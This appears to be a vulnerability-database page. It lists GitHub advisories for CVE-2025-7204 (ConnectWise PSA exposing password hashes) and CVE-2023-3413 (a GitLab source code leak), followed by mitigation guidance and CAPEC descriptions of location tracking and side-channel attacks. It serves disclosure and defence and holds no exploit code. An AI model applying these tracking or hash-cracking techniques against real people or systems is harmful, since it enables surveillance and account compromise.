Vulnerability from github – Published: 2025-07-09 15:30 – Updated: 2025-07-10 12:31In ConnectWise PSA versions older than 2025.9, a vulnerability exists where authenticated users could gain access to sensitive user information. Specific API requests were found to return an overly verbose user object, which included encrypted password hashes for other users. Authenticated users could then retrieve these hashes.
An attacker or privileged user could then use these exposed hashes to conduct offline brute-force or dictionary attacks. Such attacks could lead to credential compromise, allowing unauthorized access to accounts, and potentially privilege escalation within the system.
{
"affected": [],
"aliases": [
"CVE-2025-7204"
],
"database_specific": {
"cwe_ids": [
"CWE-201"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-09T15:15:25Z",
"severity": "MODERATE"
},
"details": "In ConnectWise PSA versions older than 2025.9, a\nvulnerability exists where authenticated users could gain access to sensitive\nuser information. Specific API requests were found to return an overly verbose\nuser object, which included encrypted password hashes for other users.\nAuthenticated users could then retrieve these hashes.\u00a0\n\n\n\nAn\nattacker or privileged user could then use these exposed hashes to conduct\noffline brute-force or dictionary attacks. Such attacks could lead to\ncredential compromise, allowing unauthorized access to accounts, and\npotentially privilege escalation within the system.",
"id": "GHSA-v9mv-65w9-g7fv",
"modified": "2025-07-10T12:31:18Z",
"published": "2025-07-09T15:30:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7204"
},
{
"type": "WEB",
"url": "https://www.connectwise.com/company/trust/security-bulletins/connectwise-psa-2025.9-security-fix"
},
{
"type": "WEB",
"url": "https://www.themissinglink.com.au/security-advisories/cve-2025-7204"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V9R7-FCC3-GG2V
Vulnerability from github – Published: 2023-09-29 09:30 – Updated: 2024-04-04 07:58An issue has been discovered in GitLab affecting all versions starting from 16.2 before 16.2.8, all versions starting from 16.3 before 16.3.5, all versions starting from 16.4 before 16.4.1. It was possible to read the source code of a project through a fork created before changing visibility to only project members.
{
"affected": [],
"aliases": [
"CVE-2023-3413"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-201"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-09-29T09:15:10Z",
"severity": "HIGH"
},
"details": "An issue has been discovered in GitLab affecting all versions starting from 16.2 before 16.2.8, all versions starting from 16.3 before 16.3.5, all versions starting from 16.4 before 16.4.1. It was possible to read the source code of a project through a fork created before changing visibility to only project members.",
"id": "GHSA-v9r7-fcc3-gg2v",
"modified": "2024-04-04T07:58:22Z",
"published": "2023-09-29T09:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3413"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/2027967"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/416284"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
Specify which data in the software should be regarded as sensitive. Consider which types of users should have access to which types of data.
Mitigation
Ensure that any possibly sensitive data specified in the requirements is verified with designers to ensure that it is either a calculated risk or mitigated elsewhere. Any information that is not necessary to the functionality should be removed in order to lower both the overhead and the possibility of security sensitive data being sent.
Mitigation
Setup default error messages so that unexpected errors do not disclose sensitive information.
Mitigation MIT-46
Strategy: Separation of Privilege
- Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
- Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-12: Choosing Message Identifier
This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.
CAPEC-217: Exploiting Incorrectly Configured SSL/TLS
An adversary takes advantage of incorrectly configured SSL/TLS communications that enables access to data intended to be encrypted. The adversary may also use this type of attack to inject commands or other traffic into the encrypted stream to cause compromise of either the client or server.
CAPEC-612: WiFi MAC Address Tracking
In this attack scenario, the attacker passively listens for WiFi messages and logs the associated Media Access Control (MAC) addresses. These addresses are intended to be unique to each wireless device (although they can be configured and changed by software). Once the attacker is able to associate a MAC address with a particular user or set of users (for example, when attending a public event), the attacker can then scan for that MAC address to track that user in the future.
CAPEC-613: WiFi SSID Tracking
In this attack scenario, the attacker passively listens for WiFi management frame messages containing the Service Set Identifier (SSID) for the WiFi network. These messages are frequently transmitted by WiFi access points (e.g., the retransmission device) as well as by clients that are accessing the network (e.g., the handset/mobile device). Once the attacker is able to associate an SSID with a particular user or set of users (for example, when attending a public event), the attacker can then scan for this SSID to track that user in the future.
CAPEC-618: Cellular Broadcast Message Request
In this attack scenario, the attacker uses knowledge of the target’s mobile phone number (i.e., the number associated with the SIM used in the retransmission device) to cause the cellular network to send broadcast messages to alert the mobile device. Since the network knows which cell tower the target’s mobile device is attached to, the broadcast messages are only sent in the Location Area Code (LAC) where the target is currently located. By triggering the cellular broadcast message and then listening for the presence or absence of that message, an attacker could verify that the target is in (or not in) a given location.
CAPEC-619: Signal Strength Tracking
In this attack scenario, the attacker passively monitors the signal strength of the target’s cellular RF signal or WiFi RF signal and uses the strength of the signal (with directional antennas and/or from multiple listening points at once) to identify the source location of the signal. Obtaining the signal of the target can be accomplished through multiple techniques such as through Cellular Broadcast Message Request or through the use of IMSI Tracking or WiFi MAC Address Tracking.
CAPEC-621: Analysis of Packet Timing and Sizes
An attacker may intercept and log encrypted transmissions for the purpose of analyzing metadata such as packet timing and sizes. Although the actual data may be encrypted, this metadata may reveal valuable information to an attacker. Note that this attack is applicable to VOIP data as well as application data, especially for interactive apps that require precise timing and low-latency (e.g. thin-clients).
CAPEC-622: Electromagnetic Side-Channel Attack
In this attack scenario, the attacker passively monitors electromagnetic emanations that are produced by the targeted electronic device as an unintentional side-effect of its processing. From these emanations, the attacker derives information about the data that is being processed (e.g. the attacker can recover cryptographic keys by monitoring emanations associated with cryptographic processing). This style of attack requires proximal access to the device, however attacks have been demonstrated at public conferences that work at distances of up to 10-15 feet. There have not been any significant studies to determine the maximum practical distance for such attacks. Since the attack is passive, it is nearly impossible to detect and the targeted device will continue to operate as normal after a successful attack.
CAPEC-623: Compromising Emanations Attack
Compromising Emanations (CE) are defined as unintentional signals which an attacker may intercept and analyze to disclose the information processed by the targeted equipment. Commercial mobile devices and retransmission devices have displays, buttons, microchips, and radios that emit mechanical emissions in the form of sound or vibrations. Capturing these emissions can help an adversary understand what the device is doing.